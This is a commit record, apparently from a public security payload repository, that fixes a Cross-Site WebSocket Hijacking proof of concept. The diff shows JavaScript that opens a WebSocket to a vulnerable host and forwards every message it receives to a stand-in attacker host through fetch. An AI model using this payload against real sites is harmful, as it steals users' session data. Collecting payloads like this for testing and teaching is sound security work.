Merge pull request #511 from buddyeatsbugs/master

Update CSWSH payload
This commit is contained in:
Swissky 2022-06-30 20:37:05 +02:00 committed by GitHub
commit d9921e370b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -45,7 +45,7 @@ data from the WebSocket to the attacker:
<script> <script>
ws = new WebSocket('wss://vulnerable.example.com/messages'); ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) { ws.onopen = function start(event) {
websocket.send("HELLO"); ws.send("HELLO");
} }
ws.onmessage = function handleReply(event) { ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'}); fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});